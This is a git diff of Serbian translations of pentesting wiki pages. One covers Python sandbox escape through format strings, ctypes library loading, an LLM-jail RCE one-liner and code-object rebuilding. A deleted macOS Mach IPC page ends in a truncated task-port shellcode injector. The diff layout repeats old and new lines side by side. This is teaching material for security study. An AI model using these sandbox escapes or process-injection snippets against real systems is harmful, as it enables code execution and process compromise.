Obratite pažnju kako možete **pristupiti atributima** na uobičajen način koristeći **tačku** kao `people_obj.__init__` i **element dict-a** koristeći **uglaste zagrade** bez navodnika `__globals__[CONFIG]`
Obratite pažnju kako možete **pristupiti atributima** na uobičajen način pomoću **tačke** kao `people_obj.__init__` i **elementu dict-a** pomoću **uglaste zagrade** bez navodnika `__globals__[CONFIG]`
Takođe obratite pažnju da možete koristiti `.__dict__` za nabrajanje elemenata objekta `get_name_for_avatar("{people_obj.__init__.__globals__[os].__dict__}", people_obj = people)`
Još neke zanimljive karakteristike format stringova su mogućnost **izvršavanja** **funkcija** **`str`**, **`repr`** i **`ascii`** nad naznačenim objektom dodavanjem **`!s`**, **`!r`**, **`!a`** respektivno:
Neke druge zanimljive karakteristike format stringova su mogućnost **izvršavanja** funkcija **`str`**, **`repr`** i **`ascii`** nad navedenim objektom dodavanjem **`!s`**, **`!r`**, **`!a`** redom:
```python
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
get_name_for_avatar(st, people_obj = people)
```
Štaviše, moguće je **kodirati nove formatere** u klasama:
Štaviše, moguće je **implementirati nove formatere** u klasama:
```python
class HAL9000(object):
def __format__(self, format):
@ -713,10 +711,10 @@ return 'HAL 9000'
'{:open-the-pod-bay-doors}'.format(HAL9000())
#I'm afraid I can't do that.
```
**Više primera** o **format** **string** primerima mogu se naći na [**https://pyformat.info/**](https://pyformat.info)
**Više primera** za **format** **string** možete pronaći na [**https://pyformat.info/**](https://pyformat.info)
> [!CAUTION]
> Proverite takođe sledeću stranicu za gadgets koji će p**ročitati osetljive informacije iz Python internih objekata**:
> Pogledajte i sledeću stranicu za gadgets koji će r**ead sensitive information from Python internal objects**:
{{#ref}}
@ -741,20 +739,20 @@ str(x) # Out: clueless
```
### LLM Jails bypass
Iz [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
From [here](https://www.cyberark.com/resources/threat-research-blog/anatomy-of-an-llm-rce): `().class.base.subclasses()[108].load_module('os').system('dir')`
### Od format string do RCE kroz učitavanje biblioteka
### From format to RCE loading libraries
Prema [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) moguće je učitati proizvoljne biblioteke sa diska zloupotrebom format string vulnerability u pythonu.
According to the [**TypeMonkey chall from this writeup**](https://corgi.rip/posts/buckeye-writeups/) it's possible to load arbitrary libraries from disk abusing the format string vulnerability in python.
Kao podsetnik, svaki put kada se u pythonu izvrši neka radnja, pozove se odgovarajuća funkcija. Na primer `2*3` će izvršiti **`(2).mul(3)`** ili **`{'a':'b'}['a']`** će biti **`{'a':'b'}.__getitem__('a')`**.
Kao podsetnik, svaki put kada se u pythonu izvrši neka akcija, pozove se odgovarajuća funkcija. Na primer `2*3` će izvršiti **`(2).mul(3)`** ili **`{'a':'b'}['a']`** će biti **`{'a':'b'}.__getitem__('a')`**.
Više ovakvih primera nalazi se u sekciji [**Python execution without calls**](#python-execution-without-calls).
Više primera ovakvog ponašanja nalazi se u sekciji [**Python execution without calls**](#python-execution-without-calls).
Python format string vuln ne dozvoljava izvršavanje funkcije (ne dozvoljava upotrebu zagrada), pa nije moguće dobiti RCE kao `'{0.system("/bin/sh")}'.format(os)`.\
Međutim, moguće je koristiti `[]`. Dakle, ako neka uobičajena python biblioteka ima **`__getitem__`** ili **`__getattr__`** metodu koja izvršava proizvoljan kod, moguće ih je zloupotrebiti da se dobije RCE.
A python format string vuln ne dozvoljava izvršavanje funkcija (ne omogućava upotrebu zagrada), tako da nije moguće dobiti RCE kao `'{0.system("/bin/sh")}'.format(os)`.\
Međutim, moguće je koristiti `[]`. Dakle, ako neka uobičajena python biblioteka ima **`__getitem__`** ili **`__getattr__`** metodu koja izvršava proizvoljni kod, moguće ih je zloupotrebiti da se dobije RCE.
Tražeći takav gadget u pythonu, writeup predlaže ovaj [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Gde je našao ovaj [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
Tražeći takav gadget u pythonu, writeup predlaže ovu [**Github search query**](https://github.com/search?q=repo%3Apython%2Fcpython+%2Fdef+%28__getitem__%7C__getattr__%29%2F+path%3ALib%2F+-path%3ALib%2Ftest%2F&type=code). Tamo je pronašao ovaj [one](https://github.com/python/cpython/blob/43303e362e3a7e2d96747d881021a14c7f7e3d0b/Lib/ctypes/__init__.py#L463):
```python
class LibraryLoader(object):
def __init__(self, dlltype):
@ -776,20 +774,20 @@ return getattr(self, name)
cdll = LibraryLoader(CDLL)
pydll = LibraryLoader(PyDLL)
```
Ovaj gadget omogućava da se **učita biblioteka sa diska**. Stoga je potrebno na neki način **upisati ili otpremiti biblioteku koja će se učitati**, pravilno kompajlovanu, na napadnuti server.
Ovaj gadget omogućava da se **učita biblioteka sa diska**. Dakle, potrebno je na neki način **upisati ili otpremiti biblioteku koja će se učitati**, ispravno kompajliranu za napadnuti server.
```python
'{i.find.__globals__[so].mapperlib.sys.modules[ctypes].cdll[/path/to/file]}'
```
Zadatak zapravo iskorišćava drugu ranjivost na serveru koja omogućava kreiranje proizvoljnih fajlova na disku servera.
Izazov zapravo iskorišćava drugu ranjivost na serveru koja omogućava kreiranje proizvoljnih fajlova na disku servera.
## Analiza Python objekata
> [!TIP]
> Ako želite detaljno da **naučite** o **python bytecode**, pročitajte ovaj **sjajan** post o toj temi: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
> Ako želite da se detaljno upoznate sa **python bytecode**, pročitajte ovaj **odličan** post o toj temi: [**https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d**](https://towardsdatascience.com/understanding-python-bytecode-e7edaae8734d)
U nekim CTF-ovima može vam biti dato ime **custom function where the flag** i morate pogledati **internals** te **function** da biste ga izvukli.
U nekim CTFs može vam biti dato ime **custom function where the flag** i potrebno je da pregledate **internals** te **function** da biste ga izvukli.
Ovo je funkcija koju treba ispitati:
Ovo je function koju treba pregledati:
```python
def get_flag(some_input):
var1=1
@ -809,7 +807,7 @@ dir(get_flag) #Get info tof the function
```
#### globals
`__globals__` and `func_globals` (Same) dohvataju globalno okruženje. U primeru možete videti nekoliko importovanih modula, neke globalne promenljive i njihov sadržaj:
`__globals__` and `func_globals`(Same) Dohvata globalno okruženje. U primeru se vide importovani moduli, globalne promenljive i njihov deklarisani sadržaj:
```python
get_flag.func_globals
get_flag.__globals__
@ -820,9 +818,9 @@ CustomClassObject.__class__.__init__.__globals__
```
[**See here more places to obtain globals**](#globals-and-locals)
### **Pristup kodu funkcije**
### **Pristupanje kodu funkcije**
**`__code__`** i `func_code`: Možete **pristupiti** ovom **atributu** funkcije da **dobijete code object** funkcije.
**`__code__`** i `func_code`: Možete **pristupiti** ovom **atributu** funkcije da **dohvatite objekat koda** funkcije.
```python
# In our current example
get_flag.__code__
@ -882,7 +880,7 @@ get_flag.__code__.co_freevars
get_flag.__code__.co_code
'd\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S'
```
### **Disassembly funkcije**
### **Disasembliranje funkcije**
```python
import dis
dis.dis(get_flag)
@ -910,7 +908,7 @@ dis.dis(get_flag)
44 LOAD_CONST 0 (None)
47 RETURN_VALUE
```
Obratite pažnju da **if you cannot import `dis` in the python sandbox** možete dobiti **bytecode** funkcije (`get_flag.func_code.co_code`) i **disassemble** ga lokalno. Nećete videti sadržaj varijabli koje se učitavaju (`LOAD_CONST`), ali ih možete naslutiti iz (`get_flag.func_code.co_consts`) jer `LOAD_CONST` takođe pokazuje offset varijable koja se učitava.
Primetite da **ako ne možete importovati `dis` u python sandbox** možete dobiti **bytecode** funkcije (`get_flag.func_code.co_code`) i disassemble-ovati ga lokalno. Nećete videti sadržaj promenljivih koje se učitavaju (`LOAD_CONST`), ali ih možete naslutiti iz (`get_flag.func_code.co_consts`) jer `LOAD_CONST` takođe navodi offset promenljive koja se učitava.
```python
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
0 LOAD_CONST 1 (1)
@ -932,10 +930,10 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
44 LOAD_CONST 0 (0)
47 RETURN_VALUE
```
## Kompajliranje Pythona
## Compiling Python
Sada, zamislimo da na neki način možete **dump informacije o funkciji koju ne možete izvršiti**, ali morate tu funkciju **izvršiti**.\
Kao u sledećem primeru, možete **pristupiti code object** te funkcije, ali samo čitajući disassemble ne znate kako da izračunate flag (_zamislite složeniju `calc_flag` funkciju_)
Sada, zamislimo da na neki način možete **dump the information about a function that you cannot execute** ali vi **morate** da je **execute**.\
Kao u sledećem primeru, možete **access the code object** te funkcije, ali samo čitanjem disassemble **ne znate kako da izračunate flag** (_zamislite složeniju funkciju `calc_flag`_)
```python
def get_flag(some_input):
var1=1
@ -948,9 +946,9 @@ return calc_flag("VjkuKuVjgHnci")
else:
return "Nope"
```
### Kreiranje code object
### Creating the code object
Prvo, moramo znati **kako kreirati i izvršiti code object** da bismo mogli da napravimo jedan i izvršimo našu funkciju leaked:
Prvo, treba da znamo **kako da kreiramo i izvršimo code object** kako bismo napravili jedan koji će izvršiti našu function leaked:
```python
code_type = type((lambda: None).__code__)
# Check the following hint if you get an error in calling this
@ -970,7 +968,7 @@ mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
```
> [!TIP]
> U zavisnosti od python verzije, **parametri** `code_type` mogu imati **drugačiji redosled**. Najbolji način da saznate redosled parametara u python verziji koju koristite je da pokrenete:
> U zavisnosti od verzije python-a **parametri** `code_type` mogu imati **drugačiji redosled**. Najbolji način da saznate redosled parametara u verziji pythona koju pokrećete je da pokrenete:
>
> ```
> import types
@ -978,10 +976,10 @@ function_type(code_obj, mydict, None, None, None)("secretcode")
> 'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.'
> ```
### Rekreiranje leaked function
### Ponovno kreiranje leaked funkcije
> [!WARNING]
> U sledećem primeru ćemo uzeti sve podatke potrebne da rekreiramo function direktno iz function code object-a. U **pravom primeru**, sve **vrednosti** za izvršenje funkcije **`code_type`** su ono što ćete morati leak.
> U sledećem primeru, uzećemo sve podatke potrebne za ponovno kreiranje funkcije direktno iz function code object-a. U **pravom primeru**, sve **vrednosti** za izvršavanje funkcije **`code_type`** su ono što **ćete morati da leak**.
```python
fc = get_flag.__code__
# In a real situation the values like fc.co_argcount are the ones you need to leak
@ -992,12 +990,12 @@ mydict['__builtins__'] = __builtins__
function_type(code_obj, mydict, None, None, None)("secretcode")
#ThisIsTheFlag
```
### Zaobilaženje zaštita
### Zaobilaženje zaštite
U prethodnim primerima na početku ovog posta, možete videti **kako izvršiti bilo koji python kod koristeći funkciju `compile`**. Ovo je zanimljivo zato što možete **izvršiti čitave skripte** sa petljama i svim ostalim u **jednoj liniji** (i isto bismo mogli uraditi koristeći **`exec`**).\\
U svakom slučaju, ponekad može biti korisno **kreirati** **kompajlirani objekat** na lokalnoj mašini i izvršiti ga u **CTF machine** (na primer zato što u CTF-u nemamo funkciju `compiled`).
U prethodnim primerima na početku ovog posta možete videti **kako izvršiti bilo koji python kod koristeći funkciju `compile`**. Ovo je zanimljivo zato što možete **izvršiti čitave skripte** sa petljama i svime u **one liner** (i isto bismo mogli uraditi koristeći **`exec`**).\
U svakom slučaju, ponekad može biti korisno **napraviti** **compiled object** na lokalnoj mašini i izvršiti ga na **CTF machine** (na primer zato što nemamo funkciju `compiled` u CTF-u).
Na primer, kompajlirajmo i ručno izvršimo funkciju koja učitava _./poc.py_:
Na primer, hajde da kompajliramo i ručno izvršimo funkciju koja čita _./poc.py_:
```python
#Locally
def read():
@ -1024,7 +1022,7 @@ mydict['__builtins__'] = __builtins__
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
function_type(codeobj, mydict, None, None, None)()
```
Ako ne možete da pristupite `eval` ili `exec`, možete napraviti **pravu funkciju**, ali njeno direktno pozivanje obično neće uspeti sa: _constructor not accessible in restricted mode_. Dakle, potrebna vam je **funkcija van ograničenog okruženja koja će pozvati ovu funkciju.**
Ako ne možete da pristupite `eval` ili `exec` možete napraviti **pravu funkciju**, ali direktno pozivanje obično neće uspeti sa: _constructor not accessible in restricted mode_. Dakle, potrebna vam je **funkcija koja nije u ograničenom okruženju da pozove ovu funkciju.**
```python
#Compile a regular print
ftype = type(lambda: None)
@ -1032,9 +1030,9 @@ ctype = type((lambda: None).func_code)
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
f(42)
```
## Decompiling Compiled Python
## Dekompajliranje kompajliranog Python koda
Korišćenjem alata poput [**https://www.decompiler.com/**](https://www.decompiler.com) moguće je **decompile** dati kompajlirani Python kod.
Korišćenjem alata kao što je [**https://www.decompiler.com/**](https://www.decompiler.com) može se izvršiti **decompile** nad datim kompajliranim python kodom.
**Pogledajte ovaj tutorijal**:
@ -1043,12 +1041,12 @@ Korišćenjem alata poput [**https://www.decompiler.com/**](https://www.decompil
../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md
{{#endref}}
## Ostalo za Python
## Razno o Pythonu
### Assert
Python koji se izvršava sa optimizacijama uz parametar `-O` ukloniće asset statements i sav kod koji je uslovljen vrednošću **debug**.\
Zbog toga, provere poput
Python pokrenut sa optimizacijama koristeći parametar `-O` će ukloniti assert statements i svaki kod koji zavisi od vrednosti **debug**.\
Dakle, provere poput
```python
def check_permission(super_user):
try:

836
src/macos-hardening/macos-security-and-privilege-escalation/mac-os-architecture/macos-ipc-inter-process-communication/README.md
View File

@ -1,836 +0,0 @@
# macOS IPC - Inter Process Communication
{{#include ../../../../banners/hacktricks-training.md}}
## Mach messaging via Ports
### Basic Information
Mach koristi **zadace** kao **najmanju jedinicu** za deljenje resursa, a svaka zadaca može sadržati **više niti**. Ove **zadace i niti su mapirane 1:1 na POSIX procese i niti**.
Komunikacija između zadataka se odvija putem Mach Inter-Process Communication (IPC), koristeći jednosmerne komunikacione kanale. **Poruke se prenose između portova**, koji deluju kao **redovi poruka** kojima upravlja kernel.
Svaki proces ima **IPC tabelu**, u kojoj je moguće pronaći **mach portove procesa**. Ime mach porta je zapravo broj (pokazivač na kernel objekat).
Proces takođe može poslati ime porta sa nekim pravima **drugoj zadaci** i kernel će učiniti da se ovaj unos u **IPC tabeli druge zadace** pojavi.
### Port Rights
Prava portova, koja definišu koje operacije zadaca može izvesti, ključna su za ovu komunikaciju. Moguća **prava portova** su ([definicije ovde](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
- **Pravo primanja**, koje omogućava primanje poruka poslatih na port. Mach portovi su MPSC (više proizvođača, jedan potrošač) redovi, što znači da može postojati samo **jedno pravo primanja za svaki port** u celom sistemu (za razliku od cevi, gde više procesa može držati deskriptore datoteka za kraj čitanja jedne cevi).
- **Zadaca sa pravom primanja** može primati poruke i **kreirati prava slanja**, omogućavajući joj da šalje poruke. Prvobitno samo **vlastita zadaca ima pravo primanja nad svojim portom**.
- **Pravo slanja**, koje omogućava slanje poruka na port.
- Pravo slanja može biti **klonirano** tako da zadaca koja poseduje pravo slanja može klonirati to pravo i **dodeliti ga trećoj zadaci**.
- **Pravo slanja jednom**, koje omogućava slanje jedne poruke na port i zatim nestaje.
- **Pravo skupa portova**, koje označava _skup portova_ umesto jednog port. Uklanjanje poruke iz skupa portova uklanja poruku iz jednog od portova koje sadrži. Skupovi portova mogu se koristiti za slušanje na nekoliko portova istovremeno, slično kao `select`/`poll`/`epoll`/`kqueue` u Unixu.
- **Mrtvo ime**, koje nije stvarno pravo porta, već samo mesto za rezervaciju. Kada se port uništi, sva postojeća prava porta na port postaju mrtva imena.
**Zadace mogu prenositi PRAVA SLANJA drugima**, omogućavajući im da šalju poruke nazad. **PRAVA SLANJA se takođe mogu klonirati, tako da zadaca može duplicirati i dati pravo trećoj zadaci**. Ovo, u kombinaciji sa posredničkim procesom poznatim kao **bootstrap server**, omogućava efikasnu komunikaciju između zadataka.
### File Ports
File portovi omogućavaju enkapsulaciju deskriptora datoteka u Mac portovima (koristeći prava Mach portova). Moguće je kreirati `fileport` iz datog FD koristeći `fileport_makeport` i kreirati FD iz fileporta koristeći `fileport_makefd`.
### Establishing a communication
#### Steps:
Kao što je pomenuto, da bi se uspostavio komunikacioni kanal, uključuje se **bootstrap server** (**launchd** u mac).
1. Zadaca **A** inicira **novi port**, dobijajući **PRAVO PRIMANJA** u procesu.
2. Zadaca **A**, kao nosilac prava primanja, **generiše PRAVO SLANJA za port**.
3. Zadaca **A** uspostavlja **vezu** sa **bootstrap serverom**, pružajući **ime usluge porta** i **PRAVO SLANJA** kroz proceduru poznatu kao bootstrap registracija.
4. Zadaca **B** komunicira sa **bootstrap serverom** da izvrši bootstrap **pretragu za imenom usluge**. Ako je uspešna, **server duplicira PRAVO SLANJA** primljeno od Zadace A i **prenosi ga Zadaci B**.
5. Nakon sticanja PRAVA SLANJA, Zadaca **B** je sposobna da **formuliše** **poruku** i pošalje je **Zadaci A**.
6. Za dvosmernu komunikaciju obično zadaca **B** generiše novi port sa **PRAVOM PRIMANJA** i **PRAVOM SLANJA**, i daje **PRAVO SLANJA Zadaci A** kako bi mogla slati poruke Zadaci B (dvosmerna komunikacija).
Bootstrap server **ne može autentifikovati** ime usluge koje tvrdi da poseduje zadaca. To znači da bi **zadaca** potencijalno mogla **imitirati bilo koju sistemsku zadacu**, kao što je lažno **tvrđenje o imenu usluge za autorizaciju** i zatim odobravanje svake zahteve.
Zatim, Apple čuva **imena usluga koje obezbeđuje sistem** u sigurnim konfiguracionim datotekama, smeštenim u **SIP-zaštićenim** direktorijumima: `/System/Library/LaunchDaemons` i `/System/Library/LaunchAgents`. Pored svakog imena usluge, **pripadajući binarni fajl se takođe čuva**. Bootstrap server će kreirati i zadržati **PRAVO PRIMANJA za svako od ovih imena usluga**.
Za ove unapred definisane usluge, **proces pretrage se malo razlikuje**. Kada se ime usluge pretražuje, launchd dinamički pokreće uslugu. Novi radni tok je sledeći:
- Zadaca **B** inicira bootstrap **pretragu** za imenom usluge.
- **launchd** proverava da li zadaca radi i ako ne, **pokreće** je.
- Zadaca **A** (usluga) vrši **bootstrap prijavu**. Ovde, **bootstrap** server kreira PRAVO SLANJA, zadržava ga i **prenosi PRAVO PRIMANJA Zadaci A**.
- launchd duplicira **PRAVO SLANJA i šalje ga Zadaci B**.
- Zadaca **B** generiše novi port sa **PRAVOM PRIMANJA** i **PRAVOM SLANJA**, i daje **PRAVO SLANJA Zadaci A** (usluga) kako bi mogla slati poruke Zadaci B (dvosmerna komunikacija).
Međutim, ovaj proces se primenjuje samo na unapred definisane sistemske zadace. Ne-sistemske zadace i dalje funkcionišu kao što je prvobitno opisano, što potencijalno može omogućiti imitaciju.
### A Mach Message
[Find more info here](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
Funkcija `mach_msg`, koja je u suštini sistemski poziv, koristi se za slanje i primanje Mach poruka. Funkcija zahteva da poruka koja se šalje bude prvi argument. Ova poruka mora početi sa strukturom `mach_msg_header_t`, nakon koje sledi stvarni sadržaj poruke. Struktura je definisana na sledeći način:
```c
typedef struct {
mach_msg_bits_t msgh_bits;
mach_msg_size_t msgh_size;
mach_port_t msgh_remote_port;
mach_port_t msgh_local_port;
mach_port_name_t msgh_voucher_port;
mach_msg_id_t msgh_id;
} mach_msg_header_t;
```
Procesi koji poseduju _**pravo primanja**_ mogu primati poruke na Mach portu. Nasuprot tome, **pošiljaocima** se dodeljuje _**pravo slanja**_ ili _**pravo slanja jednom**_. Pravo slanja jednom je isključivo za slanje jedne poruke, nakon čega postaje nevažeće.
Da bi se postigla laka **dvosmerna komunikacija**, proces može odrediti **mach port** u mach **zaglavlju poruke** nazvanom _port za odgovor_ (**`msgh_local_port`**) gde **primalac** poruke može **poslati odgovor** na ovu poruku. Bit zastavice u **`msgh_bits`** mogu se koristiti da **naznače** da bi **pravo slanja jednom** trebalo da se izvede i prenese za ovaj port (`MACH_MSG_TYPE_MAKE_SEND_ONCE`).
> [!TIP]
> Imajte na umu da se ova vrsta dvosmerne komunikacije koristi u XPC porukama koje očekuju odgovor (`xpc_connection_send_message_with_reply` i `xpc_connection_send_message_with_reply_sync`). Ali **obično se kreiraju različiti portovi** kao što je objašnjeno ranije da bi se stvorila dvosmerna komunikacija.
Ostala polja zaglavlja poruke su:
- `msgh_size`: veličina celog paketa.
- `msgh_remote_port`: port na kojem je ova poruka poslata.
- `msgh_voucher_port`: [mach vaučeri](https://robert.sesek.com/2023/6/mach_vouchers.html).
- `msgh_id`: ID ove poruke, koji tumači primalac.
> [!CAUTION]
> Imajte na umu da se **mach poruke šalju preko \_mach porta**\_, koji je **kanal za komunikaciju sa jednim primaocem** i **više pošiljalaca** ugrađen u mach kernel. **Više procesa** može **slati poruke** na mach port, ali u bilo kojem trenutku samo **jedan proces može čitati** iz njega.
### Nabrojati portove
```bash
lsmp -p <pid>
```
Možete instalirati ovaj alat na iOS preuzimanjem sa [http://newosxbook.com/tools/binpack64-256.tar.gz](http://newosxbook.com/tools/binpack64-256.tar.gz)
### Primer koda
Obratite pažnju kako **pošiljalac** **dodeljuje** port, kreira **pravo slanja** za ime `org.darlinghq.example` i šalje ga **bootstrap serveru** dok je pošiljalac tražio **pravo slanja** tog imena i koristio ga za **slanje poruke**.
{{#tabs}}
{{#tab name="receiver.c"}}
```c
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc receiver.c -o receiver
#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>
int main() {
// Create a new port.
mach_port_t port;
kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
if (kr != KERN_SUCCESS) {
printf("mach_port_allocate() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_allocate() created port right name %d\n", port);
// Give us a send right to this port, in addition to the receive right.
kr = mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
if (kr != KERN_SUCCESS) {
printf("mach_port_insert_right() failed with code 0x%x\n", kr);
return 1;
}
printf("mach_port_insert_right() inserted a send right\n");
// Send the send right to the bootstrap server, so that it can be looked up by other processes.
kr = bootstrap_register(bootstrap_port, "org.darlinghq.example", port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_register() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_register()'ed our port\n");
// Wait for a message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
mach_msg_trailer_t trailer;
} message;
kr = mach_msg(
&message.header, // Same as (mach_msg_header_t *) &message.
MACH_RCV_MSG, // Options. We're receiving a message.
0, // Size of the message being sent, if sending.
sizeof(message), // Size of the buffer for receiving.
port, // The port to receive a message on.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Got a message\n");
message.some_text[9] = 0;
printf("Text: %s, number: %d\n", message.some_text, message.some_number);
}
```
{{#endtab}}
{{#tab name="sender.c"}}
```c
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
// gcc sender.c -o sender
#include <stdio.h>
#include <mach/mach.h>
#include <servers/bootstrap.h>
int main() {
// Lookup the receiver port using the bootstrap server.
mach_port_t port;
kern_return_t kr = bootstrap_look_up(bootstrap_port, "org.darlinghq.example", &port);
if (kr != KERN_SUCCESS) {
printf("bootstrap_look_up() failed with code 0x%x\n", kr);
return 1;
}
printf("bootstrap_look_up() returned port right name %d\n", port);
// Construct our message.
struct {
mach_msg_header_t header;
char some_text[10];
int some_number;
} message;
message.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
message.header.msgh_remote_port = port;
message.header.msgh_local_port = MACH_PORT_NULL;
strncpy(message.some_text, "Hello", sizeof(message.some_text));
message.some_number = 35;
// Send the message.
kr = mach_msg(
&message.header, // Same as (mach_msg_header_t *) &message.
MACH_SEND_MSG, // Options. We're sending a message.
sizeof(message), // Size of the message being sent.
0, // Size of the buffer for receiving.
MACH_PORT_NULL, // A port to receive a message on, if receiving.
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL // Port for the kernel to send notifications about this message to.
);
if (kr != KERN_SUCCESS) {
printf("mach_msg() failed with code 0x%x\n", kr);
return 1;
}
printf("Sent a message\n");
}
```
{{#endtab}}
{{#endtabs}}
### Privilegovani portovi
- **Host port**: Ako proces ima **Send** privilegiju preko ovog porta, može dobiti **informacije** o **sistemu** (npr. `host_processor_info`).
- **Host priv port**: Proces sa **Send** pravom preko ovog porta može izvoditi **privilegovane akcije** kao što je učitavanje kernel ekstenzije. **Proces mora biti root** da bi dobio ovu dozvolu.
- Pored toga, da bi se pozvala **`kext_request`** API, potrebno je imati druge privilegije **`com.apple.private.kext*`** koje se daju samo Apple binarnim datotekama.
- **Task name port:** Nepprivilegovana verzija _task porta_. Referencira zadatak, ali ne omogućava njegovo kontrolisanje. Jedina stvar koja se čini dostupnom kroz njega je `task_info()`.
- **Task port** (poznat i kao kernel port)**:** Sa Send dozvolom preko ovog porta moguće je kontrolisati zadatak (čitati/pisati memoriju, kreirati niti...).
- Pozovite `mach_task_self()` da **dobijete ime** za ovaj port za pozivajući zadatak. Ovaj port se samo **nasleđuje** kroz **`exec()`**; novi zadatak kreiran sa `fork()` dobija novi task port (kao poseban slučaj, zadatak takođe dobija novi task port nakon `exec()` u suid binarnoj datoteci). Jedini način da se pokrene zadatak i dobije njegov port je da se izvede ["port swap dance"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) dok se radi `fork()`.
- Ovo su ograničenja za pristup portu (iz `macos_task_policy` iz binarne datoteke `AppleMobileFileIntegrity`):
- Ako aplikacija ima **`com.apple.security.get-task-allow` privilegiju**, procesi iz **iste korisničke grupe mogu pristupiti task portu** (obično dodato od strane Xcode za debagovanje). Proces **notarizacije** to neće dozvoliti za produkcijske verzije.
- Aplikacije sa **`com.apple.system-task-ports`** privilegijom mogu dobiti **task port za bilo koji** proces, osim kernela. U starijim verzijama to se zvalo **`task_for_pid-allow`**. Ovo se dodeljuje samo Apple aplikacijama.
- **Root može pristupiti task portovima** aplikacija **koje nisu** kompajlirane sa **hardened** runtime-om (i nisu od Apple-a).
### Shellcode injekcija u niti putem Task porta
Možete preuzeti shellcode sa:
{{#ref}}
../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}}
{{#tabs}}
{{#tab name="mysleep.m"}}
```objectivec
// clang -framework Foundation mysleep.m -o mysleep
// codesign --entitlements entitlements.plist -s - mysleep
#import <Foundation/Foundation.h>
double performMathOperations() {
double result = 0;
for (int i = 0; i < 10000; i++) {
result += sqrt(i) * tan(i) - cos(i);
}
return result;
}
int main(int argc, const char * argv[]) {
@autoreleasepool {
NSLog(@"Process ID: %d", [[NSProcessInfo processInfo]
processIdentifier]);
while (true) {
[NSThread sleepForTimeInterval:5];
performMathOperations(); // Silent action
[NSThread sleepForTimeInterval:5];
}
}
return 0;
}
```
{{#endtab}}
{{#tab name="entitlements.plist"}}
```xml
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>com.apple.security.get-task-allow</key>
<true/>
</dict>
</plist>
```
{{#endtab}}
{{#endtabs}}
**Kompajlirati** prethodni program i dodati **entitlements** da bi mogli da injektujete kod sa istim korisnikom (ako ne, moraćete da koristite **sudo**).
<details>
<summary>sc_injector.m</summary>
```objectivec
// gcc -framework Foundation -framework Appkit sc_injector.m -o sc_injector
#import <Foundation/Foundation.h>
#import <AppKit/AppKit.h>
#include <mach/mach_vm.h>
#include <sys/sysctl.h>
#ifdef __arm64__
kern_return_t mach_vm_allocate
(
vm_map_t target,
mach_vm_address_t *address,
mach_vm_size_t size,
int flags
);
kern_return_t mach_vm_write
(
vm_map_t target_task,
mach_vm_address_t address,
vm_offset_t data,
mach_msg_type_number_t dataCnt
);
#else
#include <mach/mach_vm.h>
#endif
#define STACK_SIZE 65536
#define CODE_SIZE 128
// ARM64 shellcode that executes touch /tmp/lalala
char injectedCode[] = "\xff\x03\x01\xd1\xe1\x03\x00\x91\x60\x01\x00\x10\x20\x00\x00\xf9\x60\x01\x00\x10\x20\x04\x00\xf9\x40\x01\x00\x10\x20\x08\x00\xf9\x3f\x0c\x00\xf9\x80\x00\x00\x10\xe2\x03\x1f\xaa\x70\x07\x80\xd2\x01\x00\x00\xd4\x2f\x62\x69\x6e\x2f\x73\x68\x00\x2d\x63\x00\x00\x74\x6f\x75\x63\x68\x20\x2f\x74\x6d\x70\x2f\x6c\x61\x6c\x61\x6c\x61\x00";
int inject(pid_t pid){
task_t remoteTask;
// Get access to the task port of the process we want to inject into
kern_return_t kr = task_for_pid(mach_task_self(), pid, &remoteTask);
